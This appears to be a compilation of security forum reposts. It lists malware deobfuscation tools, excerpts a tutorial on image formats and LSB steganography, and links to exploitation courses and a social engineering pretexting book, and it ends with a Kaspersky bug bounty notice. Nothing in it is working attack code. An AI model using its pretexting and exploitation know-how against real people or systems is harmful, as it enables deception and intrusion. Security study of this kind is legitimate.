1. Balbuzard Balbuzard is a package of malware analysis tools in python to extract patterns of interest from suspicious files (IP addresses, domain names, known file headers, interesting strings, etc). It can also crack malware obfuscation such as XOR, ROL, etc by bruteforcing and checking for those patterns. 2. de4dot de4dot is an open source (GPLv3) .NET deobfuscator and unpacker written in C#. It will try its best to restore a packed and obfuscated assembly to almost the original assembly. Most of the obfuscation can be completely restored (eg. string encryption), but symbol renaming is impossible to restore since the original names aren’t (usually) part of the obfuscated assembly. It uses dnlib to read and write assemblies so make sure you get it or it won’t compile. 3. FLOSS FireEye Labs Obfuscated String Solver (FLOSS) uses advanced static analysis techniques to automatically deobfuscate strings from malware binaries. 4. iheartxor iheartxor can be used to bruteforce xor encoded strings within a user defined regular expression pattern (-r). The default search pattern is a regular expression of that searches for data between null bytes (‘\x00’). The tool can also be used to do a straight xor on a file with -f file.name -k value. The value must between 0x0-0x255. 5. NoMoreXOR NoMoreXOR helps guess a files 256 byte XOR key by using frequency analysis. 6. PackerAttacker The Packer Attacker is a generic hidden code extractor for Windows malware. It supports the following types of pacers: running from heap, replacing PE header, injecting in a process. 7. unpacker unpacker is a automated malware unpacker for Windows malware based on WinAppDbg. 8. unxor unxor will search through an XOR-encoded file (binary, text-file, whatever) and use known-plaintext attacks to deduce the original keystream. Works on keys half as long as the known-plaintext, in linear complexity. 9. VirtualDeobfuscator VirtualDeobfuscator is a reverse engineering tool for virtualization wrappers. The goal of the Virtual Deobfuscator is to analyze a runtrace and filter out the VM processing instructions, leaving a reverse engineer with a bytecode version of the original binary. 10. XORBruteForcer XORBruteForcer is a python script that implements a XOR bruteforcing of a given file, although a specific key can be used too. It’s possible to look for a word in the xored result, minimizing the output. 11. XORSearch XORSearch is a program to search for a given string in an XOR, ROL, ROT or SHIFT encoded binary file. XORSearch will try all XOR keys (0 to 255), ROL keys (1 to 7), ROT keys (1 to 25) and SHIFT keys (1 to 7) when searching. 12. XORStrings XORStrings will search for strings in the (binary) file you provide it, using the same encodings as XORSearch (XOR, ROL, ROT and SHIFT). For every encoding/key, XORStrings will search for strings and report the number of strings found, the average string length and the maximum string length. 13. xortool xortool is a python script that will attempt to guess the XOR key length (based on count of equal chars), as well as the key itself (based on knowledge of most frequent char). If you know of any more deobfuscation tools that you think should be on this list, please let me know by leaving a comment on this post and I will get them added. Sursa: https://hackerlists.com/deobfuscation-tools/ de pe acelasi blog: Android Reverse Engineering Tools - https://hackerlists.com/android-reverse-engineering-tools/

Part 1: Image Formats What if I told you this adorable puppy was hiding a secret message? In this post, we’ll find out how this dog was convinced to hide a message for us… and how to learn its secrets. Along the way, we’ll learn a lot about how images work and just enough math to make your high school teacher say “I told you so.” Let’s start with the basics. You might already know some of this, but stick with me here. Computers are really just things that take bits: `01100010 01101100 01100001 01100011 01101011 01101000 01101001 01101100 01101100 01110011 01101001 01101110 01100110 01101111 01110011 01100101 01100011 00101110 01100011 01101111 01101101 00101111 01101100 01101100` And turn them into other bits: `01101010 01101111 01101000 01101110 00100000 01110010 01101111 01100011 01101011 01110011 ` This makes up the core of information processing in the world. Underneath cell phones, computers, the Internet, everything digital – it’s all just patterns of ones and zeros. Unfortunately, though, not very many people can read binary, and so those bits have to be turned into something that actual humans can understand (since, for now at least, computers exist to serve humans). This creates problems. Who says what patterns of bits turn into what words and pictures on a screen? Nobody, that’s who. Er, also kind of everybody. Or maybe just some certain special people? Turns out, it’s a huge mess. Various people and groups, at various times, for various reasons, have stuck a flag in the ground and said “THIS is how you turn a bunch of bits into an image of a cat!” Whenever you see a hilarious GIF, for example, you can thank the fine folks who worked at CompuServe in 1987 and decided how GIFs should work (but not how we’re supposed to pronounce GIF, for some reason). Wanna know more than you ever wanted to about GIFs? [Here’s their full specification](https://www.w3.org/Graphics/GIF/spec-gif87.txt). It’s alright, I’ll wait. Now that you’ve memorized the entire GIF format (you did, right? there will be a quiz later), we can move on. What does any of this have to do with hiding things? Well, we need a place to hide. Think of it as scoping out the best hide-and-seek locations in the new office. For instance, in the bitmap format (what we’ll be dealing with for the rest of this article; bitmap files end in `.bmp` ), each pixel contains an R, G, and B (red, green, and blue) value, each of which are one byte (eight bits). Since you can combine red, green, and blue into any color if you mix them right, this means that just those three values can allow a pixel to be any color. When you get a big list of pixels, and decide how to shape the list (i.e. are those 500 pixels a 100 x 5 pixel image, or a 50 x 10 pixel image, or…) then you can display that long list of values as an image. Why will we use bitmaps here? Because they’re incredibly simple. Yep, simple. That means that this staggeringly lame 2×2 pixel image that I made just now: Is actually this: 01000010 01001101 01000110 00000000 00000000 00000000 BMF… 00000000 00000000 00000000 00000000 00110110 00000000 ….6. 00000000 00000000 00101000 00000000 00000000 00000000 ..(… 00000010 00000000 00000000 00000000 00000010 00000000 …… 00000000 00000000 00000001 00000000 00011000 00000000 …… 00000000 00000000 00000000 00000000 00010000 00000000 …… 00000000 00000000 00000000 00000000 00000000 00000000 …… 00000000 00000000 00000000 00000000 00000000 00000000 …… 00000000 00000000 00000000 00000000 00000000 00000000 …… 11111111 00100110 00000000 00000000 00000000 00000000 .&…. 00000000 00000000 00000000 00000000 11111111 00000000 …… 01111111 01011011 00000000 00000000 .[.. But why are we learning about this? We haven’t even hidden anything yet! Fear not – we shall soon. First, we need to ruin some perfectly good pictures in the process of finding ourselves a place to hide. One of the implications of using numbers for things is that [all bits are equal, but some bits are more equal than others](https://en.wikipedia.org/wiki/Animal_Farm). If you have 5005, and you change the 5 on the left to a 6, that’s a much bigger difference (a difference of a thousand) than if you have 5005 and change the 5 on the right to a 6 (a difference of one). The five on the left in the thousands column would be called the “most significant digit” while the five on the right in the ones column would be the “least significant digit,” and picking which five to change matters a **lot**. Let’s do some quick review: images (at least the ones we’ll be working with here) are made up of pixels arranged in a grid. Each pixel is made up of three values; R, G, and B. By mixing the red, green, and blue values, the pixel can be any color. Just like in “regular” numbers, the binary digits making up the pixels have different significance (matter more) the further to the left they are. In images, the least significant bit in R, G, and B for each pixel does nearly nothing, while the most significant bit can really ruin your day. For instance, this is what happens when you take each of the 8 bits out of a black and white bitmap one layer at a time and make an image out of each layer. Each image represents one “significance level” of bits; the most significant bit is on the top left, and the least significant on the bottom right. See how the most significant bit (top left) makes up most of the image, while the least significant bit (bottom right) is basically just random noise? I bet you could change all of those least significant bits (or maybe even the last two) and nothing would look different in the final image… perhaps you could change them in some sort of pattern… like in a message, say. Just a thought. Here’s what happens when we take that puppy and flip the least significant bits of every pixel (each of R, G, and to all be 1, then the last two bits to both be one, then the last three, and so on: Did you notice how the first few look totally fine? So it’s concluded: we can definitely flip the first couple of bits in each pixel value of an image, and change them however we want, and nobody will be able to tell. Sursa: http://www.blackhillsinfosec.com/?p=5338 Part II: http://www.blackhillsinfosec.com/?p=5350 Part III: http://www.blackhillsinfosec.com/?p=5394

The Complete Ethical Hacking Course for 2016/2017 https://www.udemy.com/hacking-complete/?couponCode=HACKINGPC

--[ Tools and Basic Reverse Engineering --[ Extended Reverse Engineering --[ Introduction to Memory Corruption --[ Shellcoding --[ Format Strings --[ DEP and ROP --[ Secure Systems and Game Console Exploitation --[ Address Space Layout Randomization --[ Heap Exploitation --[ Misc Concepts & Stack Canaries --[ C++ Concepts and Differences --[ Kernel Exploitation --[ Exploitation on 64bit, ARM, Windows --[ Automation & The Future of Exploitation http://security.cs.rpi.edu/courses/binexp-spring2015/

The Social Engineer's Playbook is a practical guide to pretexting and a collection of social engineering pretexts for Hackers, Social Engineers and Security Analysts. Build effective social engineering plans using the techniques, tools and expert guidance in this book. Learn valuable elicitation techniques, such as: Bracketing, Artificial Ignorance, Flattery, Sounding Board and others. This book covers an introduction to tools, such as: Maltego, Social Engineer Toolkit, Dradis, Metasploit and Kali Linux among others. Crucial to any social engineering test is the information used to build it. Discover the most valuable sources of intel and how to put them to use. https://drive.google.com/file/d/0Bx0IiyPNZiErbUkwM2k1SFo0amM/view sursa: certcollection.org

Black hat USA 2016: Black hat ASIA 2016: Def Con 2016:

In this Reverse Engineering and Exploit Development training course, expert author Philip Polstra will teach you about common software vulnerabilities and how to find them, as well as how the vulnerabilities differ between various operating systems. This course is designed for beginners who are looking to get started in security, penetration testing, and reverse engineering. You will start by learning about reversing compiled Windows applications, including using fuzzing, stack overflows, and heap overflows. From there, Philip will teach you how to reverse compiled OS X, Linux, and Android applications. This video tutorial also covers how to find other vulnerabilities, including website and database vulnerabilities. Finally, you will learn about simple exploits, web exploitation, and ARM exploitation. Once you have completed this computer based training course, you will be fully capable of finding vulnerabilities and developing exploits for them. Working files are included, allowing you to follow along with the author throughout the lessons. https://yadi.sk/d/e4JEUKNfg3oUv sursa: https://forum.reverse4you.org/showthread.php?t=1997

Kaspersky Lab is running its public Bug Bounty Program for six months from September 1, 2016. All researchers are welcome to participate. Under the Kaspersky Lab Bug Bounty Program, qualified individuals are encouraged to submit bug reports for vulnerabilities in Kaspersky Internet Security 2017 (https://products.s.kaspersky-labs.com/english/homeuser/kis2017) or Kaspersky Endpoint Security 10 SP1MR3 (https://forum.kaspersky.com/index.php?showtopic=352009). Please review and accept the terms and conditions of the Kaspersky Internet Security 2017 (https://hackerone.box.com/shared/static/lpa6rlcmja4udys12oijjjirq1sq7bab.pdf) and Kaspersky Endpoint Security 10 SP1MR3 (https://hackerone.box.com/shared/static/la5b6ier63s1prxfhybnily4742gmjwb.pdf) Testing Licenses Certificates before you test and/or report a vulnerability. Scope of program Kaspersky Lab would like you to test the security of Kaspersky Internet Security 2017 and Kaspersky Endpoint Security 10 SP1MR3 running on Microsoft Windows 8.1, or a more recent Microsoft desktop OS. Vulnerability types in scope: Local privilege escalation (average reward $1,000) User data (like passwords and another sensitive information) compromise (average reward $2,000) Remote code execution (average reward $2,000) Out of scope: Kaspersky Lab’s online services, websites, and other network services. We are looking for security issues in the desktop products only. Qualifying vulnerability Rewards for qualifying bugs typically range from $300. Bounties will be paid out at Kaspersky Lab’s discretion. Kaspersky Lab retains sole discretion in determining which submissions are qualified, actionable, and eligible for reward. Severity of the issue and quality of reports will be considered in the reward amount. The maximum reward depends on vulnerability importance. We are using CVSSv2 for vulnerability priorities. Disclosure policy Researchers invited to participate in the Kaspersky Lab program must adhere to the Disclosure Policy located here (https://hackerone.com/disclosure-guidelines). The program prohibits disclosure of any vulnerability discovered in Kaspersky Internet Security 2017 to any party publicly or privately until the vulnerability fix is released. Upon completion of the vulnerability fix, Kaspersky Lab may agree to disclosure after 30 days. Eligibility We are thankful to every individual researcher who submits a vulnerability report, helping us improve overall security of Kaspersky Lab’s products. However, only those that meet the following criteria may be eligible to receive a reward. Some of the requirements to participate in the Bug Bounty Program include: You must be the first reporter of a vulnerability in order to be considered for an award You must not be employed by Kaspersky Lab or its subsidiaries or related entities You must comply with these terms when discovering the vulnerability You must follow all guidelines when submitting the vulnerability report We can’t be legally prohibited from rewarding you for any reason 3 sursa: https://hackerone.com/kaspersky